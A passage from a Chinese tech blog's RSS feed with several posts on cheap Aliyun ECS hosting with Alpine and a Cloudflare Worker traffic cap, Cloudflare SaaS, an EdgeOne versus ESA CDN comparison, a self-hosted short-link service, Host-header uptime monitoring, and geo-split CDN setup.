<p>接下来勾选配置云盘属性,并且将 <strong>云盘容量设置为1GB</strong> ,确认无误,导入
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-5.Cxu6iMdm.png" alt="" /></p>
|
||
<h3>创建ECS抢占型实例</h3>
|
||
<p>前往 <a href="https://ecs.console.aliyun.com/server/">云服务器管理控制台</a> ,创建 <strong>中国香港</strong> 实例,注意红框区域要保持一致</p>
|
||
<p>另外,对于 <strong>网络及可用区</strong> ,香港一共有 <strong>B、C、D</strong> 三个区,D区比B、C区贵不少,可以都开开测个速,留下最好的
|
||
<img src="https://blog.acofork.com/_astro/ALIECSSNPSHOT.FZLX4fPF.png" alt="" /></p>
|
||
<h3>开通CDT</h3>
|
||
<p>前往 <a href="https://cdt.console.aliyun.com/overview">云数据传输</a> 将升级状态全部变为已升级即可
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-6.B8_B2J3g.png" alt="" /></p>
|
||
<h3>创建&amp;绑定弹性公网IP并且挂上CDT</h3>
|
||
<blockquote>
|
||
<p>因为弹性公网IP可以绑定CDT的每月200G免费流量,并且在绑定实例后,弹性公网IP将不会再扣费。如果后续删机的时候不要忘记释放弹性公网IP,否则会一直扣费</p>
|
||
</blockquote>
|
||
<p>进入 <a href="https://vpc.console.aliyun.com/eip/cn-hongkong/eips">专有网络管理控制台</a> 如图选择,然后购买即可(这里显示的费用是纯持有不绑定的费用,一旦绑定就不计费了)
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-7.BC0G134f.png" alt="" /></p>
|
||
<p>接下来绑定弹性公网IP(因为我绑定过了,所以是解绑)
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-8.EKBA5fPi.png" alt="" /></p>
|
||
<p>接下来在这里绑定CDT,带宽最高可以拉到 2000Mbps,但是不推荐,一般300M够用了
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-9.BH_lAhbQ.png" alt="" /></p>
|
||
<h3>配置Alpine</h3>
|
||
<blockquote>
|
||
<p>如果你安装了Alpine,默认是需要VNC进入手动配置系统的。如果是公共镜像,则已经可以用了,但不要忘了保证系统纯净</p>
|
||
</blockquote>
|
||
<p>进入 <a href="https://ecs.console.aliyun.com/server/">云服务器管理控制台</a> 选择你刚买的ECS,接下来点击 <strong>远程连接</strong> ,展开更多,选择 <strong>通过VNC远程连接</strong></p>
|
||
<p>接下来就是愉快的敲命令环节~ (方括号内为默认值,你可以输入新值回车覆盖也可以直接回车应用默认值)</p>
|
||
<ul>
|
||
<li>启动 Alpine 安装程序</li>
|
||
</ul>
|
||
<pre><code>localhost:~# setup-alpine
|
||
</code></pre>
|
||
<ul>
|
||
<li>选择键盘布局</li>
|
||
</ul>
|
||
<pre><code>Select keyboard layout: [none] us
|
||
Select variant: [us]
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置主机名</li>
|
||
</ul>
|
||
<pre><code>Enter system hostname (fully qualified form, e.g. 'foo.example.org') [localhost] alpine-vps
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置网卡</li>
|
||
</ul>
|
||
<pre><code>Available interfaces are: eth0 lo
|
||
Which one do you want to initialize? [eth0]
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置 IP 获取方式</li>
|
||
</ul>
|
||
<pre><code>Ip address for eth0? (or 'dhcp', 'none', 'manual') [dhcp]
|
||
</code></pre>
|
||
<ul>
|
||
<li>是否进行手动网络配置</li>
|
||
</ul>
|
||
<pre><code>Do you want to do any manual network configuration? [no]
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置 root 密码(输入时不会显示)</li>
|
||
</ul>
|
||
<pre><code>New password:
|
||
Retype password:
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置时区,或者(PRC)</li>
|
||
</ul>
|
||
<pre><code>Which timezone are you in? ('?' for list) [UTC] Asia/Shanghai
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置代理</li>
|
||
</ul>
|
||
<pre><code>HTTP/FTP proxy URL? [none]
|
||
</code></pre>
|
||
<ul>
|
||
<li>选择软件仓库镜像。这个地方建议先输入 <code>s</code> 列出所有镜像,然后上下翻找找到阿里云镜像源,然后输入对应镜像源编号,否则选错了你后续通过apk安装软件的时候不会免流</li>
|
||
</ul>
|
||
<pre><code>Which mirror do you want to use? (or '?' or 'done') [44]
|
||
</code></pre>
|
||
<ul>
|
||
<li>不创建普通用户</li>
|
||
</ul>
|
||
<pre><code>Setup a user? (enter a username, or 'no') [no] no
|
||
</code></pre>
|
||
<ul>
|
||
<li>选择 SSH 服务</li>
|
||
</ul>
|
||
<pre><code>Which SSH server? ('openssh', 'dropbear', or 'none') [openssh]
|
||
</code></pre>
|
||
<ul>
|
||
<li>是否允许 root 通过 SSH 登录</li>
|
||
</ul>
|
||
<pre><code>Allow root ssh login? ('?' for help) [prohibit-password] yes
|
||
</code></pre>
|
||
<ul>
|
||
<li>没有找到磁盘,是否安装至 vda 云盘,是</li>
|
||
</ul>
|
||
<pre><code>No disk available, Try boot media /media/vda ? (y/n) [n] y
|
||
</code></pre>
|
||
<ul>
|
||
<li>选择要安装的磁盘</li>
|
||
</ul>
|
||
<pre><code>Which disk(s) would you like to use? (or '?' for help or 'none') [none] vda
|
||
</code></pre>
|
||
<ul>
|
||
<li>选择磁盘使用方式</li>
|
||
</ul>
|
||
<pre><code>How would you like to use it? ('sys', 'data', 'crypt', 'lvm') [sys]
|
||
</code></pre>
|
||
<ul>
|
||
<li>确认格式化磁盘</li>
|
||
</ul>
|
||
<pre><code>WARNING: Erase the above disk(s) and continue? [y/N] y
|
||
</code></pre>
|
||
<ul>
|
||
<li>安装系统</li>
|
||
</ul>
|
||
<pre><code>Installing system on /dev/sda:
|
||
Installing alpine-base...
|
||
Installing busybox...
|
||
Installing openssh...
|
||
Installing openrc...
|
||
</code></pre>
|
||
<ul>
|
||
<li>安装完成提示</li>
|
||
</ul>
|
||
<pre><code>Installation is complete. Please reboot.
|
||
</code></pre>
|
||
<ul>
|
||
<li>重启系统</li>
|
||
</ul>
|
||
<pre><code>localhost:~# reboot
|
||
</code></pre>
|
||
<ul>
|
||
<li>重启后登录</li>
|
||
</ul>
|
||
<pre><code>alpine-vps login: root
|
||
Password:
|
||
</code></pre>
|
||
<ul>
|
||
<li>设置DNS(Cloudflare &amp; Google DNS)</li>
|
||
</ul>
|
||
<pre><code>alpine-vps:~# setup-dns
|
||
DNS Domain name? (e.g. 'bar.com') nameserver
|
||
DNS nameserver(s)? [223.5.5.5] 1.1.1.1 8.8.8.8
|
||
</code></pre>
|
||
<p>Alpine的软件包管理器为 <strong>APK</strong> ,首先我们先更新软件源</p>
|
||
<pre><code>apk update
|
||
</code></pre>
|
||
<p>接下来,安装一些基本的软件包</p>
|
||
<pre><code>apk add curl unzip jq openssl tar iproute2 bash
|
||
</code></pre>
|
||
<h3>设置保活&amp;用量封顶策略</h3>
|
||
<p>虽然我们将弹性公网IP连接了CDT,默认流量会从CDT的免费流量份额里面扣</p>
|
||
<p>但是一旦超出上限,那就会扣我们的真金白银了</p>
|
||
<p>所以,我们需要一个定时监测的服务,发现CDT流量快用完了立即停机</p>
|
||
<p>那么...让我们请出 Cloudflare Worker!</p>
|
||
<p>::github{repo="afoim/cf-worker-aliyun-cdt-tracker"}</p>
|
||
<p>在Cloudflare Worker的仪表盘配置五个机密环境变量即可
|
||
以下是需要配置的机密环境变量 (Secrets):</p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>变量名</th>
|
||
<th>描述</th>
|
||
<th>示例 / 备注</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code>ACCESS_KEY_ID</code></td>
|
||
<td>阿里云账号的 AccessKey ID</td>
|
||
<td><code>LTAIxxxxxxxxxxxx</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>ACCESS_KEY_SECRET</code></td>
|
||
<td>阿里云账号的 AccessKey Secret</td>
|
||
<td><code>xxxxxxxxxxxxxxxxxxxxxxxx</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>REGION_ID</code></td>
|
||
<td>ECS 实例所在的区域 ID。</td>
|
||
<td>cn-hongkong</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>ECS_INSTANCE_ID</code></td>
|
||
<td>需要控制的 ECS 实例 ID。在控制台获取</td>
|
||
<td>i-xxxxxxxxxxxx</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>TRAFFIC_THRESHOLD_GB</code></td>
|
||
<td>流量阈值(单位:GB),超过此值将停止实例</td>
|
||
<td><code>180</code> (默认为 180)</td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>我们需要前往 https://ram.console.aliyun.com/profile/access-keys 创建一个RAM用户,你就会得到 <code>ACCESS_KEY_ID</code> 和 <code>ACCESS_KEY_SECRET</code> ,并且分配权限:<code>AliyunECSFullAccess</code> `AliyunCDTFullAccess</p>
|
||
<p>部署成功后,Cloudflare Worker将在每分钟检查一次CDT,如果超出流量阈值,会将指定ID的ECS停止
|
||
<img src="https://blog.acofork.com/_astro/aliyun-ecs-4rm-10.4ruO6Jsm.png" alt="" /></p>
|
||
<h1>计费流程图</h1>
|
||
<p>带宽费(按固定带宽计费收取):根据您指定的带宽峰值和计费时长后付费,与实际使用的流量无关。</p>
|
||
<p>流量费(按使用流量计费收取):根据每小时公网的实际流量计费。</p>
|
||
<p>最终,抢占型ECS实例每个小时扣费 <strong>0.005528 元</strong> ,按照一个月31天,每月扣费 <strong>4.112832 元</strong> ,而弹性公网IP一经绑定便不再计费,CDT每月免费200G海外流量,不超出不计费,OSS免费存储5G,传入流量不计费,我们也没有传出流量,或者保险起见你也可以将其删除</p>
|
||
<p><strong>最终每月成本:不到5元!</strong>
|
||
<img src="https://blog.acofork.com/_astro/4411ab2fe9dfe7df65472e5b426af5671.oX7IWN0u.png" alt="" /></p>
|
||
</content:encoded></item><item><title>你真的玩懂了Cloudflare SaaS吗?为什么经由SaaS的流量可以做优选?</title><link>https://blog.acofork.com/posts/cf-saas/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-saas/</guid><description>我们都知道,可以通过SaaS来做优选,但是为什么用SaaS就能做优选呢,为什么直接CNAME就不能优选呢?这篇文章带你一窥真相!</description><pubDate>Fri, 16 Jan 2026 20:16:09 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>Cloudflare SaaS是一个不需要你改变一个域名的NS服务器,就可以让其受益于Cloudflare网络</p>
|
||
<h1>原理</h1>
|
||
<p>首先我们要知道CDN是如何通过不同域名给不同内容的</p>
|
||
<p>我们可以将其抽象为2层,规则层和解析层。当我们普通的在Cloudflare添加一条开启了小黄云的解析。Cloudflare会为我们做两件事,1是帮我们写一条DNS解析指向Cloudflare,2是在Cloudflare创建一条路由规则</p>
|
||
<p>如果说你想要优选,实际上你是要手动更改这个DNS解析,使其指向一个更快的Cloudflare节点</p>
|
||
<p>但是,一旦你将小黄云关闭,路由规则也会被删除,再访问就会显示DNS直接指向IP</p>
|
||
<p>再但是,如果你使用SaaS,你就会发现Cloudflare不再帮你做这两件事了,这两件事你都可以自己做了</p>
|
||
<p>写一条SaaS规则+你自己写一条CNAME解析到优选节点,完全就可以做到优选了</p>
|
||
<p>具体如何创建一个SaaS规则可以前往 <a href="/posts/cf-fastip/">Cloudflare 优选</a> 查看</p>
|
||
<h1>SaaS后,就是一家人了</h1>
|
||
<p>如果一个域名已经被SaaS到一个已经在Cloudflare的域名,将完整受益所有Cloudflare服务</p>
|
||
<p>如我将 umami.acofork.com SaaS 到 2x.nz ,我就可以在 2x.nz 里为 umami.acofork.com 写规则了
|
||
<img src="https://blog.acofork.com/_astro/cf-saas-1.D1WBx5uc.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/cf-saas-2.Bi6RGY1_.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/cf-saas-3.CuR_HHk0.png" alt="" />
|
||
Worker中的路由规则也适用
|
||
<img src="https://blog.acofork.com/_astro/cf-saas-4.Jw-0vgWk.png" alt="" /></p>
|
||
</content:encoded></item><item><title>EO VS ESA,谁才是国内CDNの王?!</title><link>https://blog.acofork.com/posts/eovsesa/</link><guid isPermaLink="true">https://blog.acofork.com/posts/eovsesa/</guid><description>EdgeOne和ESA都是非常好的免费国内CDN,常规用起来几乎一模一样,今天我们就来让他俩一决雌雄!</description><pubDate>Fri, 16 Jan 2026 16:53:08 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>首先,EdgeOne是来的最早的,于25年7月就开始测试了,而ESA是10月才开放的。</p>
|
||
<p>虽然EdgeOne在早期需要兑换码换免费套餐,而兑换码从早期的发推特然后找官方领码,再到Discord群组每天固定时间发码,最后到测速分享直接拿兑换码,门槛逐渐放低,功能逐渐齐全。</p>
|
||
<p>而ESA由于是后来者,直接给每个阿里云账户发了一个免费的ESA套餐,如果你有多站点接入的需求,也可以通过拉人头来得到更多的免费套餐。</p>
|
||
<p>就当前(26年1月)来说,两家的体验大差不差,但是EdgeOne和ESA的底层逻辑是有点区别的。</p>
|
||
<h1>底层逻辑对比</h1>
|
||
<p>EdgeOne这个项目,特别是Page,在24年就已经初具雏形并且能够像那些大厂如Cloudflare Page,Github Page,Vercel等静态托管平台一样使用了,但是当时一是腾讯是悄咪咪上的,二是节点实在是太烂了,只有海外新加坡节点,也不支持国内节点。</p>
|
||
<p>而ESA大概率是从老的DCDN和云函数FC改过来的,控制台就已经露出鸡脚了。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-1.CdN7VYw5.png" alt="" /></p>
|
||
<h1>规则引擎与WAF</h1>
|
||
<p>ESA的很多东西直接是照抄Cloudflare的,比如:</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-3.DwGCjSkY.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/eovsesa-2.DGI0a9Nl.png" alt="" /></p>
|
||
<p>并且还将每条规则(嵌套子规则也算一条)全部砍了一刀,免费套餐仅支持5条规则。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-4.DhLEUDby.png" alt="" /></p>
|
||
<h2>EdgeOne 的优势</h2>
|
||
<p>反观EdgeOne,它没有照抄Cloudflare,而是自己写了一套规则引擎,所有类型的规则都在一处地方配置,并且可以互相联动。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-5.BduE46Vn.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/eovsesa-6.DcgIiedC.png" alt="" /></p>
|
||
<p>甚至你还可以对不合法请求在L7给空。(不推荐,规则引擎的假拦截也算正常请求)
|
||
<img src="https://blog.acofork.com/_astro/1f63e461bfa538605c7734042edd68f6.Cw97cduq.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-7.hVWcE4QO.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/eovsesa-8.BCwahwj3.png" alt="" /></p>
|
||
<h3>优先级陷阱</h3>
|
||
<p>并且要注意一点,虽然你可以在规则引擎里伪装一个WAF拦截,但是在EdgeOne中,流量会先经由规则引擎,再经过WAF,也就是如果你在WAF写了个非CN拦截,然后在规则引擎里写个非CN给空,海外IP访问只能看到空响应,看不到拦截页面,流量也照记(难绷)。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-9.Bd2nzSp7.png" alt="" /></p>
|
||
<h2>ESA 的策略</h2>
|
||
<p>而ESA这边,WAF的优先级始终是最高的,流量会先被WAF网关审查,通过后才应用规则,但是免费套餐不支持在WAF中设置地域级别的拦截(难绷)。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-10.CPZVIktS.png" alt="" /></p>
|
||
<h3>曲线救国方案</h3>
|
||
<p>但是有个曲线救国的方案,就是先写个规则将流量全拦截,然后再写个白名单规则,将可信流量绕过该规则。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-11.eUgmGLfJ.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/eovsesa-12.CFrqoqSg.png" alt="" /></p>
|
||
<h1>回源配置</h1>
|
||
<p>再接着就是因为ESA照抄Cloudflare,所以创建加速站点的时候默认是HTTP走80,HTTPS走443回源,如果你要更改回源的端口,还需要浪费一个回源规则。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-13.kBUpMH-_.png" alt="" /></p>
|
||
<p>而EdgeOne可以在创建站点的时候直接就设置回源端口以及回源Host。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-14.DFftznfJ.png" alt="" /></p>
|
||
<h1>SSL 证书签发</h1>
|
||
<p>再到SSL签发,首先两家都支持默认的CNAME签发,也就是你把域名解析到我这,我帮你签SSL,但是EdgeOne的CNAME签发是每一个站点单独签一次。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-15.DcbsehW_.png" alt="" /></p>
|
||
<p>而ESA是统一管理,你给我个DCV,我直接给你签一个泛域名,之后你就用去吧。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-16.DK9b0pyT.png" alt="" /></p>
|
||
<h1>规则隔离与互通</h1>
|
||
<p>然后就是最重磅的,EdgeOne独属的左右脑互搏时刻。</p>
|
||
<p>在EdgeOne CDN和EdgeOne Page中,他俩的规则竟然不是互通的,CDN业务走CDN的规则,Page的规则走Page的规则,也行吧,他想做干湿分离,我配两套没问题。</p>
|
||
<h2>功能阉割</h2>
|
||
<p>但是!阉割是什么意思,为什么CDN可以写地域判断,Page就只能写IP?</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-17.DDPbPEi7.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/eovsesa-18.C_LM5LSw.png" alt="" /></p>
|
||
<p>那么也没有什么让Page吃上CDN规则的方法呢?有的,兄弟有的(但是这样会在控制台看到双倍流量,如果你的Page纯静态,可以写个全缓存缓解一下)。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-19.DrlaJ5zR.png" alt="" /></p>
|
||
<h1>Page 服务对比</h1>
|
||
<p>接着到Page部分。</p>
|
||
<p>EdgeOne的Page你可以直接看作是Cloudflare Page的本地化,甚至突破了核心代码,直接可以在Page里面跑Nodejs服务,要知道,Cloudflare Page也只有一个V8环境(Umami也可以!SSR函数小于等于128MB即可)并且可以托管海量大和多的文件。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-20.q8bPeFxU.png" alt="" /></p>
|
||
<p>而ESA Page非常像云函数FC改过来的,虽然也支持函数吧,但没有完整的Nodejs环境,甚至最近WebSocket也被砍了(关闭后就打不开了),并且托管的文件数以及单文件大小如下限制。</p>
|
||
<p><img src="https://blog.acofork.com/_astro/eovsesa-21.DF2ERbfw.png" alt="" /></p>
|
||
<h1>速度与限速</h1>
|
||
<p>最后就是速度相关,根据多方数据以及自测,两个CDN都会在长时间的单IP上下行请求逐渐将速率削减至大约 500KB/s,但如果只是正常业务使用,短时间的突发速率都可以飙到50MB/s左右(但不能长期),所以这俩CDN都不适合反向代理对象存储以及大文件分发,如果有类似业务需求还是老实用Cloudflare,CF是不限速的。</p>
|
||
</content:encoded></item><item><title>完全免费!搭建一个自己的短链服务!</title><link>https://blog.acofork.com/posts/static-redirect-group/</link><guid isPermaLink="true">https://blog.acofork.com/posts/static-redirect-group/</guid><description>利用Cloudflare Worker+Github搭建一个纯静态,刷不死的短链吧!</description><pubDate>Wed, 14 Jan 2026 23:39:31 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>本来不应该有这篇文章的,因为这篇文章就是一个该项目的简单自部署教程,应该写到仓库的README中,本来应该是让AI代工的,但是我发现它非常执着于那个b Github Page+Cloudflare Worker的神奇前后端分离,而且徒增了不少工作。其实该项目仅需一个Cloudflare Worker就行了,所以既然都要我手写了,我氵篇文章也是合情合理的吧</p>
|
||
<h1>项目原理</h1>
|
||
<p>该项目和上一个短链项目差不多,但是更简化了一些东西</p>
|
||
<p>首先就是,这个项目我们将前后端揉在了一起,前端几乎不校验东西,所有校验在后端,也不用两个项目来回加规则了</p>
|
||
<p>由于该项目前端非常简单,就两个html(一个创建页面,一个重定向页面),所以将他们揉在一起也并不臃肿</p>
|
||
<p>再来,该项目不再使用Cloudflare服务端的 301/302 重定向,也就突破了2000个静态重定向的限制,理论上是无限,而是直接使用CDN对于静态资产命中404时会fullback到 404.html 再在该文件用 JavaScript 做短链查询和重定向(也就跟Nginx伪静态差不多)</p>
|
||
<p>再接着,如果一个pathname没命中任何规则,也会被catch到一个默认的回退源,可以兼容类似 https://2x.nz/posts/pin/ --&gt; https://blog.acofork.com/posts/pin/</p>
|
||
<p>然后就是创建短链的逻辑,其实跟上一个项目差不多,就是Worker代理访问Github,改一下js,添加一条新的短链规则,然后推送,这会自动触发Cloudflare Worker的重新构建,稍等片刻后,访问新的 pathname 就可以得到正确的重定向了</p>
|
||
<p>最后就是我们支持了有效期,原理也非常简单,前端创建短链的时候给后端传一个什么时候过期的字段,后端再写入文件,最后借助 Github Action 的定时巡查清除过期短链</p>
|
||
<h1>在哪搞个短链</h1>
|
||
<p>我的 2x.nz 是在 https://porkbun.com 买的,一年一百左右。其他后缀也不错,如 <code>.im</code> <code>.mk</code></p>
|
||
<h1>正式搭建你的短链服务</h1>
|
||
<p>首先,Fork仓库</p>
|
||
<p>::github{repo="afoim/Static_Redirect_Group"}</p>
|
||
<p>接下来,先更改一些硬编码的东西,由于Cloudflare Worker对于静态资产不能使用环境变量,所以有些东西是硬编码的,请在所有HTML文件中尝试搜索 <code>afoim</code> 进行更改,改成你的(你也可以多加一层,写一个配置,然后通过构建来注入内容,随你)</p>
|
||
<p>然后,请编辑js文件夹里面的短链,改为你想要的</p>
|
||
<p>再接着,创建一个Github Token,只需要有 <code>repo</code> 权限即可</p>
|
||
<p>继续,绑定机密环境变量,使用 <code>wrangler secret put XXX</code></p>
|
||
<table>
|
||
<thead>
|
||
<tr>
|
||
<th>变量名</th>
|
||
<th>值</th>
|
||
<th>说明</th>
|
||
</tr>
|
||
</thead>
|
||
<tbody>
|
||
<tr>
|
||
<td><code>GITHUB_TOKEN</code></td>
|
||
<td><code>ghp_xxxx...</code></td>
|
||
<td>刚才申请的 Token</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>GITHUB_OWNER</code></td>
|
||
<td><code>你的GitHub用户名</code></td>
|
||
<td>例如 <code>afoim</code></td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>GITHUB_REPO</code></td>
|
||
<td><code>Static_Redirect_Group</code></td>
|
||
<td>你的仓库名</td>
|
||
</tr>
|
||
<tr>
|
||
<td><code>BASE_DOMAIN</code></td>
|
||
<td><code>你的短链域名</code></td>
|
||
<td>例如 <code>u.2x.nz</code> 或 Worker 的默认域名 <code>xxx.workers.dev</code></td>
|
||
</tr>
|
||
</tbody>
|
||
</table>
|
||
<p>此时,访问 <code>/_url</code> 即可创建你的短链</p>
|
||
<h1>防护</h1>
|
||
<p>建议保护创建短链的短链,防刷(或Cloudflare Turnstile、速率限制... 随你)</p>
|
||
<p>在Cloudflare创建一个WAF规则</p>
|
||
<p>当传入请求匹配时...</p>
|
||
<pre><code>(http.host eq "你的域名" and (
|
||
http.request.uri.path eq "/_url"
|
||
or http.request.uri.path wildcard "/api/*"
|
||
))
|
||
</code></pre>
|
||
<p>然后采取措施…</p>
|
||
<p><strong>交互式质询</strong></p>
|
||
</content:encoded></item><item><title>利用自定义HTTP请求头Host字段实现单节点分流域名的监控</title><link>https://blog.acofork.com/posts/http-header-host/</link><guid isPermaLink="true">https://blog.acofork.com/posts/http-header-host/</guid><description>如果说你有个分流域名,正常来说我们需要两个监测源模拟国内和海外用户访问,但真的需要这么麻烦吗...</description><pubDate>Tue, 13 Jan 2026 17:28:33 GMT</pubDate><content:encoded><h1>原理</h1>
|
||
<p>CDN上托管了那么多的网站,那它是如何识别每个用户需要访问哪个网站的呢?</p>
|
||
<p>针对 HTTPS ,CDN 会检查SSL握手报文中的 <code>Server_Name</code> 字段。而针对 HTTP ,CDN 会检查请求头中的 <code>Host</code> 字段</p>
|
||
<p>也就是说,我们可以通过直接访问CDN节点,如: <code>http://blog.acofork.com.a1.initww.com</code> 并携带上 <code>Host</code> 头指定为 <code>blog.acofork.com</code> ,从而强制指定节点访问业务网站,不走分流</p>
|
||
<p>那么如果CDN开启了强制HTTPS呢?监测请求会被301到分流域名,这样不就没意义了吗?</p>
|
||
<p>并不是,我们只需要让它监测301/302是否能正常返回即可,不吃它的重定向。如果说CDN节点被打宕机了,它应该什么状态码都不返回,如果说CDN节点返回拦截页面,那它也不可能返回301/302 ,所以这样监测是有效的</p>
|
||
<p>经测试,EdgeOne,ESA都是先进行WAF拦截,也就是你使用HTTP访问,若该请求不合法,将会直接被拦截(EO返回418,ESA返回403),不会进行HTTPS升级</p>
|
||
<h1>正式开始</h1>
|
||
<p>部署一个Uptime Kuma(或者其他服务,监测源必须在国内。因为EO,ESA我们要做拦截海外策略)</p>
|
||
<p>如图写监测项目,直接使用HTTP协议监测CDN节点,并且携带Host头,将重定向设为0,只要返回 301/302 就算存活(为了减轻站点压力,建议使用HEAD请求)</p>
|
||
<p><img src="https://blog.acofork.com/_astro/http-header-host-1.B9mphNia.png" alt="" /></p>
|
||
<p><img src="https://blog.acofork.com/_astro/http-header-host-2.Buq50Tw2.png" alt="" /></p>
|
||
<h1>Demo</h1>
|
||
<p>::url{href="https://status.acofork.com"}</p>
|
||
</content:encoded></item><item><title>网站分流怎么做?全球秒开!有点坐牢,但是好玩!</title><link>https://blog.acofork.com/posts/fenliu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/fenliu/</guid><description>网站分流看着很难,实际上一点都不简单,如果你也感兴趣(想坐牢),那就来试试8!</description><pubDate>Mon, 12 Jan 2026 02:09:05 GMT</pubDate><content:encoded><h1>需分流的网站</h1>
|
||
<p>博客本体,主站
|
||
::url{href="https://blog.acofork.com"}
|
||
Umami,用于在网站插入一个JS来进行访客统计以及展示访客信息
|
||
::url{href="https://umami.acofork.com/share/CdkXbGgZr6ECKOyK"}
|
||
静态随机图,用于置顶文章Cover和整个网站的背景图
|
||
::url{href="https://pic1.acofork.com"}</p>
|
||
<hr />
|
||
<p>其他: https://acofork.com , https://www.acofork.com
|
||
这些都是要 <strong>301</strong> 重定向到 https://blog.acofork.com 的域名,我们也需要为其配置分流</p>
|
||
<h1>各CDN SSL申请方案</h1>
|
||
<h3>EdgeOne</h3>
|
||
<p>由于NS直接在EdgeOne,故直接申请
|
||
<img src="https://blog.acofork.com/_astro/fenliu-1.Dmj-83Hk.png" alt="" /></p>
|
||
<h3>ESA</h3>
|
||
<p>使用DCV委派
|
||
<img src="https://blog.acofork.com/_astro/fenliu-2.BNhYUghp.png" alt="" /></p>
|
||
<h3>Cloudflare</h3>
|
||
<p>使用HTTP验证,由于ACME验证节点在国外,所以它只会看到CNAME到Cloudflare的记录,从而签发SSL
|
||
<img src="https://blog.acofork.com/_astro/fenliu-3.D5AYFaIQ.png" alt="" />
|
||
针对重定向的域名,由于默认所有请求都会被重定向到新域,ACME自然无法验证,所以我们需要写一条排除规则,让ACME验证路径直接返回200 OK,其余的路径再重定向
|
||
<img src="https://blog.acofork.com/_astro/fenliu-17.Dyc1olNb.png" alt="" /></p>
|
||
<h1>源站类型</h1>
|
||
<h3>静态型</h3>
|
||
<p>国内使用对应CDN的Page业务,海外使用Cloudflare Worker。至于为什么不将 <code>blog.acofork.com</code> 也放在EdgeOne Page,一是因为EdgeOne CDN和Page的WAF规则是分开的,而Page业务的WAF规则不是很好做海外封锁,二是因为EO在之前被打的时候将这个子域封了。而ESA Page可以很简单做到海外封禁
|
||
<img src="https://blog.acofork.com/_astro/fenliu-4.DUEIQKTB.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/fenliu-5.D_qAaE-D.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/fenliu-16.DLYoxOZ0.png" alt="" /></p>
|
||
<h3>动态型</h3>
|
||
<p>国内使用IPv6回源(用户 - IPv4 - EO/ESA CDN - IPv6 - 源站)。至于为什么不用ESA,是因为ESA CDN回源非标端口需要像Cloudflare一样写一条回源规则,占用免费规则集5条中的其中之一
|
||
<img src="https://blog.acofork.com/_astro/fenliu-6.CSAHx97r.png" alt="" />
|
||
海外采用Cloudflare Tunnel(用户 - IPv4 - CF CDN - 内部连接 - 源站)
|
||
<img src="https://blog.acofork.com/_astro/fenliu-7.CDNqN6Fj.png" alt="" /></p>
|
||
<h1>浏览器客户端实现监看当前访问节点</h1>
|
||
<p>利用浏览器JavaScript发送HEAD请求拿取对端响应头Server字段并回显(若跨域则需要设置 <strong>Access-Control-Expose-Headers</strong> 响应头,值为 <strong>server</strong>
|
||
<img src="https://blog.acofork.com/_astro/fenliu-12.CvLyctZ6.png" alt="" />
|
||
<img src="https://blog.acofork.com/_astro/ae6f93ce318fa428e94256c2b4a501e1.D_wVC-8p.png" alt="" /></p>
|
||
<h1>注意事项</h1>
|
||
<ul>
|
||
<li>ESA Page对超多资源和大文件支持很差。例如静态随机图项目无法部署到ESA Page(超出了2000个静态资产)</li>
|
||
<li>ESA CDN针对于回源非标端口和Cloudflare一样要通过写回源规则实现,很浪费规则,推荐使用EdgeOne CDN,可以随意指定回源端口
|
||
<img src="https://blog.acofork.com/_astro/fenliu-8.BOWbqj51.png" alt="" /></li>
|
||
<li>如果你要做分流业务,必须将域名NS托管在国内的DNS解析服务商,因为Cloudflare不支持域名分流解析,并且请将默认解析给CF,将境内解析给国内节点,不要反着来
|
||
<img src="https://blog.acofork.com/_astro/fenliu-9.DscvL3Re.png" alt="" /></li>
|
||
